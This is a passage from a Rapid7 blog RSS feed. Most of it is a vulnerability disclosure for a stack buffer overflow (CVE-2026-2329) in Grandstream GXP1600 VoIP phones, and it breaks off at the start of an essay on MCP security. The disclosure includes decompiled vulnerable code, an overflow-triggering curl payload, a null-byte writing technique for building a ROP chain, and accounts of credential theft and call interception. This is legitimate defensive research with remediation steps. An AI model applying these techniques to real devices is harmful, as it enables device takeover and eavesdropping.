methodology</li><li>Post-exploitation impact</li><li>Metasploit module details</li></ul><p style="direction: ltr;"><em>You can read our full technical analysis </em><a href="https://www.rapid7.com/blog/post/ve-cve-2026-2329-critical-unauthenticated-stack-buffer-overflow-in-grandstream-gxp1600-voip-phones-fixed/" target="_blank"><em>here</em></a><em>.</em></p>]]></description>
      <link>https://www.rapid7.com/blog/post/ve-phone-listening-cold-war-vulnerability-modern-voip</link>
      <guid isPermaLink="false">blt23b34939db26e9b8</guid>
      <category><![CDATA[Research]]></category>
      <category><![CDATA[Vulnerability Disclosure]]></category><dc:creator><![CDATA[Douglas McKee, Director, Vulnerability Intelligence]]></dc:creator>
      <pubDate>Wed, 18 Feb 2026 14:15:00 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blted8cb9466d79dc4d/6852c596a274324cfbb23d9d/PSN-gov-showcase-hero-image.png" medium="image" />
    </item>
    <item>
      <title><![CDATA[CVE-2026-2329: Critical Unauthenticated Stack Buffer Overflow in Grandstream GXP1600 VoIP Phones (FIXED)]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><a href="https://www.rapid7.com/research/"><span style='font-size: undefined;'>Rapid7 Labs</span></a><span style='font-size: undefined;'> conducted a zero-day research project against the </span><a href="https://www.grandstream.com/products/ip-voice-telephony/gxp-series-ip-phones/gxp-series-basic-ip-phones"><span style='font-size: undefined;'>Grandstream GXP1600</span></a><span style='font-size: undefined;'> series of Voice over Internet Protocol (VoIP) phones. This research resulted in the discovery of a critical unauthenticated stack-based buffer overflow vulnerability, CVE-2026-2329. </span><span style='font-size: undefined;'><strong>A remote attacker can leverage CVE-2026-2329 to achieve unauthenticated remote code execution (RCE) with root privileges on a target device.</strong></span><span style='font-size: undefined;'> A vendor supplied firmware </span><a href="https://www.grandstream.com/support/firmware"><span style='font-size: undefined;'>update</span></a><span style='font-size: undefined;'>, version 1.0.7.81, is available to fully remediate CVE-2026-2329.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The vulnerability is present in the device's web-based API service, and is accessible in a default configuration. As all models in the GXP1600 series share a common firmware image, the vulnerability affects all six models in the series: GXP1610, GXP1615, GXP1620, GXP1625, GXP1628, and GXP1630.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-2329 has a CVSSv4 score of </span><a href="https://www.first.org/cvss/calculator/4-0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"><span style='font-size: undefined;'>9.3 (Critical)</span></a><span style='font-size: undefined;'>, and a Common Weakness Enumeration (CWE) of </span><a href="https://cwe.mitre.org/data/definitions/121.html"><span style='font-size: undefined;'>CWE-121: Stack-based Buffer Overflow</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Impact</h2><p style="direction: ltr;"><span style='font-size: undefined;'>To demonstrate the impact of this vulnerability, a Metasploit exploit module has been developed. This demonstrates how an unauthenticated attacker could leverage this vulnerability to gain root privileges on a vulnerable device. A complimentary post-exploitation module has also been developed. This allows an attacker to gather credentials, such as local user and SIP accounts, stored on a compromised GXP1600 device. Both Metasploit modules are available </span><a href="https://github.com/rapid7/metasploit-framework/pull/20983" target="_self"><span style='font-size: undefined;'>here</span></a><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Shown below is the exploit module being run against a target Grandstream GXP1630 device running a vulnerable firmware version 1.0.7.79.</span></p><p>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt35ee1bd4250b52c5/6994cfcec9b89800084dc38d/figure1_grandstream_gxp1600_rce1.png" alt="figure1_grandstream_gxp1600_rce1.png" caption="Figure 1: Metasploit exploit module targeting a GXP1630 device." height="425" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="figure1_grandstream_gxp1600_rce1.png" width="705" max-width="705" max-height="425" style="max-width: 705px; width: 705px; max-height: 425px; height: 425px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt35ee1bd4250b52c5/6994cfcec9b89800084dc38d/figure1_grandstream_gxp1600_rce1.png" data-sys-asset-uid="blt35ee1bd4250b52c5" data-sys-asset-filename="figure1_grandstream_gxp1600_rce1.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: Metasploit exploit module targeting a GXP1630 device." data-sys-asset-alt="figure1_grandstream_gxp1600_rce1.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 1: Metasploit exploit module targeting a GXP1630 device.</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>As we can see above, the attacker achieves </span><span style='font-size: undefined;'><strong>unauthenticated RCE with root privileges</strong></span><span style='font-size: undefined;'> on the device. This is demonstrated by executing a Meterpreter payload and running several arbitrary OS shell commands.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>In addition to achieving RCE with root privileges, we can also demonstrate using this capability to </span><span style='font-size: undefined;'><strong>extract secrets from the target device</strong></span><span style='font-size: undefined;'>, such as local and SIP account credentials. Shown below is a Metasploit post-exploitation module that leverages an existing session on the target (established via the exploit module) to extract secrets from the device.</span></p><p>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt37af103cc529b67a/6994d0051eaffc0008e451ca/figure2_grandstream_gxp1600_rce2.png" alt="figure2_grandstream_gxp1600_rce2.png" caption="Figure 2: Metasploit post module gathering credentials from a GXP1630 device." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="figure2_grandstream_gxp1600_rce2.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt37af103cc529b67a/6994d0051eaffc0008e451ca/figure2_grandstream_gxp1600_rce2.png" data-sys-asset-uid="blt37af103cc529b67a" data-sys-asset-filename="figure2_grandstream_gxp1600_rce2.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 2: Metasploit post module gathering credentials from a GXP1630 device." data-sys-asset-alt="figure2_grandstream_gxp1600_rce2.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 2: Metasploit post module gathering credentials from a GXP1630 device.</figcaption></div></figure><p>⠀</p><p><span style='font-size: undefined;'>Finally, we can leverage our RCE capabilities to reconfigure the target device to use a malicious SIP proxy, allowing an attacker to </span><span style='font-size: undefined;'><strong>transparently intercept phone calls</strong></span><span style='font-size: undefined;'> to and from the device, and eavesdrop on the audio. While the ability to leverage a malicious SIP proxy to intercept phone calls is not specific to these Grandstream devices, and is dependent on the SIP infrastructures configuration, it highlights the serious impact an unauthenticated RCE vulnerability has against VoIP phones. Rapid7 Labs has developed a SIP proxy for testing and auditing SIP infrastructure, which is available </span><a href="https://github.com/sfewer-r7/sip-proxy"><span style='font-size: undefined;'>here</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Credit</h2><p style="direction: ltr;"><span style='font-size: undefined;'>This vulnerability was discovered by Stephen Fewer, Senior Principal Security Researcher at </span><a href="https://www.rapid7.com/"><span style='font-size: undefined;'>Rapid7</span></a><span style='font-size: undefined;'> and is being disclosed in accordance with Rapid7’s </span><a href="https://www.rapid7.com/security/disclosure/"><span style='font-size: undefined;'>vulnerability disclosure policy</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Technical analysis</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Our analysis is based upon a GXP1630 device running firmware version 1.0.7.79. During testing, the test device had an IPv4 address of 192.168.86.77.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>A HTTP service is listening by default on TCP port 80. This service provides both a web administration interface and an API. The API endpoint </span><span style='font-size: undefined;'><span data-type='inlineCode'>/cgi-bin/api.values.get</span></span><span style='font-size: undefined;'> is accessible to a remote attacker with no authentication. This endpoint is designed to request one or more configuration values from the phone. For example, you can request the phone's firmware version and model number via the following HTTP POST request using </span><a href="https://curl.se/"><span style='font-size: undefined;'>curl</span></a><span style='font-size: undefined;'>.</span></p><p>⠀</p><pre language="html">C:\&gt;curl -ik http://192.168.86.77/cgi-bin/api.values.get --data "<strong>request=68:phone_model</strong>"
HTTP/1.0 200 OK
Content-Type: application/json;charset=UTF-8
Cache-Control: no-cache, must-revalidate
Status: 200 OK
Set-Cookie: HttpOnly

{ "response": "success", "body": { "68": "1.0.7.79", "phone_model": "GXP1630" } }</pre><p>⠀</p><p><span style='font-size: undefined;'>The </span><span style='font-size: undefined;'><span data-type='inlineCode'>api.values.get</span></span><span style='font-size: undefined;'> API accepts an HTTP parameter named </span><span style='font-size: undefined;'><span data-type='inlineCode'>request</span></span><span style='font-size: undefined;'>. This parameter contains a colon-delimited list of identifiers to retrieve a corresponding value for (highlighted in yellow above). In the example above, identifier 68 corresponds to the phone's firmware version number, and identifier </span><span style='font-size: undefined;'><span data-type='inlineCode'>phone_model</span></span><span style='font-size: undefined;'> corresponds to the phone's model. We can see in the response, these values are returned.</span></p><p><span style='font-size: undefined;'>Both the HTTP service and the API are implemented in the native code binary </span><span style='font-size: undefined;'><span data-type='inlineCode'>/app/bin/gs_web</span></span><span style='font-size: undefined;'> (32-bit ARM, Little Endian). Decompiling the function that handles a request to the </span><span style='font-size: undefined;'><span data-type='inlineCode'>api.values.get</span></span><span style='font-size: undefined;'> endpoint, we can see how the </span><span style='font-size: undefined;'><span data-type='inlineCode'>request</span></span><span style='font-size: undefined;'> parameter is split into colon-delimited parts for processing.</span></p><p style="direction: ltr;">⠀</p><pre language="c">void __fastcall sub_144B4(int a1, char *a2, int a3)
{
	int v5; // r6
	const char *v6; // r5
	int v7; // r3
	int v8; // r6
	char *cookie; // r7
	char *remote_addr; // r0
	int v11; // r10
	char *request_buffer; // r11
	int request_length; // r9
	int request_offset; // r4
	int part_length; // r3
	int next_char; // r1
	char *v17; // r2
	char small_buffer[64]; // [sp+0h] [bp-68h] BYREF
	char v19[40]; // [sp+40h] [bp-28h] BYREF

	v5 = (*(int (__fastcall **)(int))(*(_DWORD *)a3 + 16))(a3);
	v6 = (const char *)json_object_new_object();
	sub_CC60(v5, (int)"response", (int)"success", v7);
	sub_CAA4(v5, "body", v6);
	v8 = sub_DE50();
	cookie = get_cookie(a2, (Grandstream::CommonUtils *)"session-identity");
	remote_addr = get_remote_addr();
	v11 = sub_DEC4(v8, (Grandstream::CommonUtils *)cookie, (Grandstream::CommonUtils *)remote_addr);
	request_buffer = sub_C19C(a2, (Grandstream::CommonUtils *)"request");
	request_length = Grandstream::CommonUtils::strlen(request_buffer);
	if ( request_length &gt; 0 )
	{
		request_offset = 0;
		part_length = 0;
		small_buffer[0] = 0;
		do
		{
			next_char = (unsigned __int8)request_buffer[request_offset];
			v17 = &v19[part_length];
			if ( next_char == ':' )
			{
				*(v17 - 64) = 0;
				sub_14354(a1, v6, small_buffer, v11);
				part_length = 0;
				small_buffer[0] = 0;
			}
			else
			{
				*(v17 - 64) = next_char;
				++part_length;
			}
			++request_offset;
		}
		while ( request_offset != request_length );
		if ( part_length )
		{
			small_buffer[part_length] = 0;
			sub_14354(a1, v6, small_buffer, v11);
		}
	}
}</pre><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><span style='font-size: undefined;'><span data-type='inlineCode'>request</span></span><span style='font-size: undefined;'> parameter (referenced via the variable </span><span style='font-size: undefined;'><span data-type='inlineCode'>request_buffer</span></span><span style='font-size: undefined;'> above) is iterated over character by character. If the next character is not a colon character, this next character is appended to a small 64 byte buffer on the stack (the variable </span><span style='font-size: undefined;'><span data-type='inlineCode'>small_buffer</span></span><span style='font-size: undefined;'> above). If the next character is a colon, or the end of the </span><span style='font-size: undefined;'><span data-type='inlineCode'>request</span></span><span style='font-size: undefined;'> parameter is reached, the current identifier held in the small buffer is null terminated and then processed to retrieve that identifier's value.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>When appending another character to the small 64 byte buffer, no length check is performed to ensure that no more than 63 characters (plus the appended null terminator) are ever written to this buffer.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Therefore, an attacker-controlled </span><span style='font-size: undefined;'><span data-type='inlineCode'>request</span></span><span style='font-size: undefined;'> parameter can write past the bounds of the small 64 byte buffer on the stack, overflowing into adjacent stack memory. This can be demonstrated with the following curl command, which supplies a 256 byte </span><span style='font-size: undefined;'><span data-type='inlineCode'>request</span></span><span style='font-size: undefined;'> parameter:</span></p><p>⠀</p><pre language="html">curl -ik http://192.168.86.77/cgi-bin/api.values.get --data 
"request=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</pre><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>By either attaching a debugger to the </span><span style='font-size: undefined;'><span data-type='inlineCode'>gs_web</span></span><span style='font-size: undefined;'> process or inspecting a core dump, we can observe the overflow and how the attacker-controlled data corrupts the stack contents to give the attacker control over multiple CPU registers, including the Program Counter (PC), as shown below.</span></p><p>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt2ec184e9a5bb08fd/6994e75273e3df0008d2d0b4/figure3_gdb_crash1.png" height="605" alt="figure3_gdb_crash1.png" caption="Figure 3: GDB session showing the process registers after the stack-based overflow." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="figure3_gdb_crash1.png" width="608" style="width: 608px; height: 605px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt2ec184e9a5bb08fd/6994e75273e3df0008d2d0b4/figure3_gdb_crash1.png" data-sys-asset-uid="blt2ec184e9a5bb08fd" data-sys-asset-filename="figure3_gdb_crash1.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: GDB session showing the process registers after the stack-based overflow." data-sys-asset-alt="figure3_gdb_crash1.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 3: GDB session showing the process registers after the stack-based overflow.</figcaption></div></figure><h2>Exploitation</h2><p style="direction: ltr;"><span style='font-size: undefined;'>To leverage this stack-based buffer overflow for remote code execution, we examine the </span><span style='font-size: undefined;'><span data-type='inlineCode'>gs_web</span></span><span style='font-size: undefined;'> binary using the </span><a href="https://slimm609.github.io/checksec/"><span style='font-size: undefined;'>checksec</span></a><span style='font-size: undefined;'> tool, to see what mitigations are present. </span></p><p style="direction: ltr;">⠀</p><pre language="html">$ /usr/bin/checksec --file=./Release_GXP16xx_1.0.7.79/squashfs-root/app/bin/gs_web --format=json | jq
{
  "./Release_GXP16xx_1.0.7.79/squashfs-root/app/bin/gs_web": {
    "relro": "no",
<strong>	"canary": "no",
	"nx": "yes",
	"pie": "no",</strong>
    "rpath": "no",
    "runpath": "no",
    "symbols": "no",
    "fortify_source": "no",
    "fortified": "0",
    "fortify-able": "5"
  }
}</pre><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>We can see that </span><a href="https://en.wikipedia.org/wiki/NX_bit"><span style='font-size: undefined;'>No Execute</span></a><span style='font-size: undefined;'> (NX) is enabled. This means the stack segment will not be executable. Therefore, to execute arbitrary code we will need to leverage a </span><a href="https://en.wikipedia.org/wiki/Return-oriented_programming"><span style='font-size: undefined;'>Return Oriented Programming</span></a><span style='font-size: undefined;'> (ROP) chain.</span></p><p><span style='font-size: undefined;'>We can see via checksec that </span><a href="https://en.wikipedia.org/wiki/Stack_buffer_overflow#Stack_canaries"><span style='font-size: undefined;'>stack canaries</span></a><span style='font-size: undefined;'> are not present (we also knew this from the above core dump, showing PC control after the vulnerable function returns). This means the stack-based buffer overflow will not be detected at run time, and a corrupted return address stored on the stack can be used to control the Program Counter (PC) register, when the vulnerable function returns from the corrupted stack frame.</span></p><p><span style='font-size: undefined;'>We can also see that the binary has not been linked as a </span><a href="https://en.wikipedia.org/wiki/Position-independent_code#Position-independent_executables"><span style='font-size: undefined;'>Position Independent Executable</span></a><span style='font-size: undefined;'> (PIE). This prevents </span><a href="https://en.wikipedia.org/wiki/Address_space_layout_randomization"><span style='font-size: undefined;'>Address Space Layout Randomization</span></a><span style='font-size: undefined;'> (ASLR) from randomizing the main binaries code segment. We can therefore know in advance virtual addresses (VA) within the code segment for use during construction of a ROP chain.</span></p><p><span style='font-size: undefined;'>We are left with a problem that the non-PIE binary </span><span style='font-size: undefined;'><span data-type='inlineCode'>gs_web</span></span><span style='font-size: undefined;'> has its code segment loaded at a VA of </span><span style='font-size: undefined;'><span data-type='inlineCode'>0x00008000</span></span><span style='font-size: undefined;'>, as shown below via the </span><a href="https://man7.org/linux/man-pages/man1/readelf.1.html"><span style='font-size: undefined;'>readelf</span></a><span style='font-size: undefined;'> tool.</span></p><p>⠀</p><pre language="html">$ readelf -l ./Release_GXP16xx_1.0.7.79/squashfs-root/app/bin/gs_web

Elf file type is EXEC (Executable file)
Entry point 0xbffc

There are 7 program headers, starting at offset 52

Program Headers:
	Type	Offset		VirtAddr	PhysAddr	FileSiz		MemSiz		Flg		Align
	EXIDX	0x0115d8	0x000195d8 	0x000195d8 	0x00810 	0x00810 	R		0x4
	PHDR	0x000034 	0x00008034 	0x00008034 	0x000e0 	0x000e0 	R E 	0x4
	INTERP	0x000114 	0x00008114 	0x00008114 	0x00014 	0x00014 	R		0x1
		[Requesting program interpreter: /lib/ld-uClibc.so.0]
	<strong>LOAD	0x000000 	0x00008000 	0x00008000 0x11dec 		0x11dec 	R E 	0x8000</strong>
	LOAD	0x012000 	0x00022000 	0x00022000 0x00498 		0x0055c 	RW		0x8000
	DYNAMIC	0x01202c 	0x0002202c 	0x0002202c 0x00168 		0x00168 	RW		0x4</pre><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>With PIE not enabled, and no suitable info leak to leak a VA from another Shared Object (SO) located higher in the address space, a load address of </span><span style='font-size: undefined;'><span data-type='inlineCode'>0x00008000</span></span><span style='font-size: undefined;'> will require us to write multiple null bytes during exploitation in order to construct a ROP chain, as every VA used within the ROP chain will have at least one null byte. However, the vulnerability only allows for a single null terminator byte to be written during the overflow.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>To overcome this limitation, we can rely on the fact that the vulnerable function will process the attacker-controlled request parameter as a colon-delimited string of multiple identifiers. Every time a colon is encountered, the overflow can be triggered a subsequent time via the next identifier. We can leverage this, and the ability to write a single null byte as the last character in the current identifier being processed, to write multiple null bytes during exploitation.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For example, if we wanted to write a sequence of bytes with 5 null characters in it, e.g., “</span><span data-type='inlineCode'>EEE0DDDDDDD0CCCCCCCC00AAAAAAAAAAA0</span><span style='font-size: undefined;'>" (where </span><span style='font-size: undefined;'>0</span><span style='font-size: undefined;'> is a null byte), we can trigger the overflow 5 times. By adjusting the identifier value used to trigger each instance of the overflow, we can precisely place a null character at the desired locations. The table below shows how, in this contrived example, we can construct each separate identifier string in order to place a trailing null terminator character at the desired location. Upon triggering the overflow 5 times in succession, the final memory layout will be as we expect.</span></p><p>⠀</p><table><colgroup data-width='500'><col style="width:48.717948717948715%"/><col style="width:51.28205128205128%"/></colgroup><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Overflow 1 (33 bytes + null terminator)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</span><span style='font-size: undefined;'><strong>0</strong></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Overflow 2 (21 bytes + null terminator)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>BBBBBBBBBBBBBBBBBBBBB</span><span style='font-size: undefined;'><strong>0</strong></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Overflow 3 (20 bytes + null terminator)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>CCCCCCCCCCCCCCCCCCCC</span><span style='font-size: undefined;'><strong>0</strong></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Overflow 4 (11 bytes + null terminator)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>DDDDDDDDDDD</span><span style='font-size: undefined;'><strong>0</strong></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Overflow 5 (3 bytes + null terminator)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>EEE</span><span style='font-size: undefined;'><strong>0</strong></span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>Final Memory Layout(34 bytes)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>EEE</span><span style='font-size: undefined;'><strong>0</strong></span><span style='font-size: undefined;'>DDDDDDD</span><span style='font-size: undefined;'><strong>0</strong></span><span style='font-size: undefined;'>CCCCCCCC</span><span style='font-size: undefined;'><strong>00</strong></span><span style='font-size: undefined;'>AAAAAAAAAAA</span><span style='font-size: undefined;'><strong>0</strong></span></p></td></tr></tbody></table><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>We can therefore construct a malicious colon-delimited </span><span style='font-size: undefined;'><span data-type='inlineCode'>request</span></span><span style='font-size: undefined;'> parameter to achieve the above (note that, for brevity in this example, the length values here don't assume the required 64 bytes of padding to overflow the initial small buffer):</span></p><p>⠀</p><pre language="html">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBB:CCCCCCCCCCCCCCCCCCCC:DDDDDDDDDDD:EEE</pre><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>With the ability to write multiple null bytes, we can proceed to gather the ROP gadgets needed to build out a ROP chain. We choose to create a ROP chain that will execute an arbitrary OS command via the </span><a href="https://man7.org/linux/man-pages/man3/system.3.html"><span style='font-size: undefined;'>system</span></a><span style='font-size: undefined;'> standard C library function, before terminating the process gracefully via the </span><a href="https://man7.org/linux/man-pages/man3/exit.3.html"><span style='font-size: undefined;'>exit</span></a><span style='font-size: undefined;'> standard C library function to avoid crashing the process. The accompanying Metasploit exploit module’s source code details the entire ROP chain.</span></p><h2 style="direction: ltr;">Remediation</h2><p style="direction: ltr;"><span style='font-size: undefined;'>To remediate CVE-2026-2329, Grandstream users running either GXP1610, GXP1615, GXP1620, GXP1625, GXP1628 or GXP1630 devices should upgrade their firmware to version </span><a href="https://firmware.grandstream.com/Release_Note_GXP16xx_1.0.7.81.pdf"><span style='font-size: undefined;'>1.0.7.81</span></a><span style='font-size: undefined;'> or above. The latest Grandstream firmware can be found </span><a href="https://www.grandstream.com/support/firmware"><span style='font-size: undefined;'>here</span></a><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For additional details from the vendor, please see the Grandstream </span><a href="https://psirt.grandstream.com/"><span style='font-size: undefined;'>PSIRT page</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Disclosure timeline</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>January 6, 2026:</strong></span><span style='font-size: undefined;'> Rapid7 makes initial outreach to Grandstream.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>January 20, 2026:</strong></span><span style='font-size: undefined;'> Rapid7 makes another outreach to Grandstream.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>January 20, 2026:</strong></span><span style='font-size: undefined;'> Grandstream responds to the initial outreach.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>January 21, 2026:</strong></span><span style='font-size: undefined;'> Rapid7 and Grandstream establish a secure communication mechanism.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>January 22, 2026:</strong></span><span style='font-size: undefined;'> Rapid7 discloses the technical writeup and exploit code to Grandstream, who confirms receipt the same day.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>February 2, 2026:</strong></span><span style='font-size: undefined;'> Grandstream indicates a patch has been made available in the GXP1600 firmware version 1.0.7.81.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>February 3, 2026:</strong></span><span style='font-size: undefined;'> Grandstream reaffirms the issue has been resolved in the latest GXP1600 firmware version 1.0.7.81.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>February 6, 2026:</strong></span><span style='font-size: undefined;'> Rapid7 indicates to Grandstream that a CVE has not been assigned and offers to be the CNA for this disclosure. Rapid7 highlights to Grandstream that no public disclosure has occurred, and that it is Rapid7’s intention to disclose publicly in the coming days.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>February 7, 2026:</strong></span><span style='font-size: undefined;'> Grandstream agrees that Rapid7 can be the CNA in this disclosure and requests additional CVE record information. </span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>February 11, 2026:</strong></span><span style='font-size: undefined;'> Rapid7 provides the requested CVE record information to Grandstream. Rapid7 highlights to Grandstream that firmware version 1.0.7.81 does remediate the vulnerability, as shown by Rapid7 Labs reverse engineering the publicly available firmware. Rapid7 states that a public disclosure will occur on February 18, 2026.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>February 18, 2026:</strong></span><span style='font-size: undefined;'> This disclosure.</span></p></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/ve-cve-2026-2329-critical-unauthenticated-stack-buffer-overflow-in-grandstream-gxp1600-voip-phones-fixed</link>
      <guid isPermaLink="false">bltda8156d223258809</guid>
      <category><![CDATA[Vulnerability Disclosure]]></category>
      <category><![CDATA[Research]]></category><dc:creator><![CDATA[Stephen Fewer]]></dc:creator>
      <pubDate>Wed, 18 Feb 2026 14:00:00 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
    </item>
    <item>
      <title><![CDATA[Measuring AI Security: Separating Signal from Panic]]></title>
      <description><![CDATA[<p style="direction: ltr;"><span style='font-size: undefined;'>The conversation around </span><a href="https://www.rapid7.com/fundamentals/artificial-intelligence/" target="_self"><span style='font-size: undefined;'>AI security</span></a><span style='font-size: undefined;'> is full of anxiety. Every week, new headlines warn of jailbreaks, </span><a href="/fundamentals/prompt-injection-attack/" target="_self"><span style='font-size: undefined;'>prompt injection</span></a><span style='font-size: undefined;'>, agents gone rogue, and the rise of LLM-enabled cybercrime. It’s easy to come away with the impression that AI is fundamentally uncontrollable and dangerous, and therefore something we need to lock down before it gets out of hand.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>But as a security practitioner, I wasn’t convinced. Most of these warnings are based on hypothetical examples or carefully engineered demos. They raise important questions, but rarely answer the most basic one: </span><span style='font-size: undefined;'><em>What does the real attack surface of today’s AI systems actually look like?</em></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>So instead of offering another opinion, I ran the numbers.</span></p><h2 style="direction: ltr;">The method: Focused, real-world measurement</h2><p style="direction: ltr;"><span style='font-size: undefined;'>To ground the conversation in reality, I focused on MCP, the </span><a href="https://www.rapid7.com/fundamentals/model-context-protocol-mcp/" target="_self"><span style='font-size: undefined;'>Model Context Protocol</span></a><span style='font-size: undefined;'>. This framework is widely used to help language models interact with tools, APIs, and external systems. It’s open source, replicated across many environments, and built for practical integration. That makes it an ideal test case for understanding actual exposure.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>No adversarial prompting. No artificial exploits. Just a measurement of what real MCP servers expose. We used SDK import analysis to locate active repositories, filtered out those that wouldn’t run, and examined the tool schemas to understand what each was capable of.</span></p><h2 style="direction: ltr;">What the data tells us</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The MCP servers that met our criteria showed a familiar pattern. They exposed well-understood primitives used throughout modern software systems.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Observed capability classes:</strong></span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Filesystem access</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>HTTP requests</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Database queries</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Local script or process execution</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Orchestration and tool chaining</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Read-only API search</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>These are not exotic capabilities unique to AI. They’re already embedded in cloud automation, infrastructure-as-code, and modern DevOps stacks. MCP simply gives them structure.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>The frequency of high-severity risk is low</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>One of the most unexpected findings was the rarity of arbitrary code execution. Despite warnings in the media, this turned out to be the least common capability among all operational MCP servers analyzed.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>This matters. It suggests that real-world deployments of AI tooling are not as reckless as some narratives claim. The most common issues are the ones we’ve known for years: weak defaults, excessive permissions, and poor input handling. 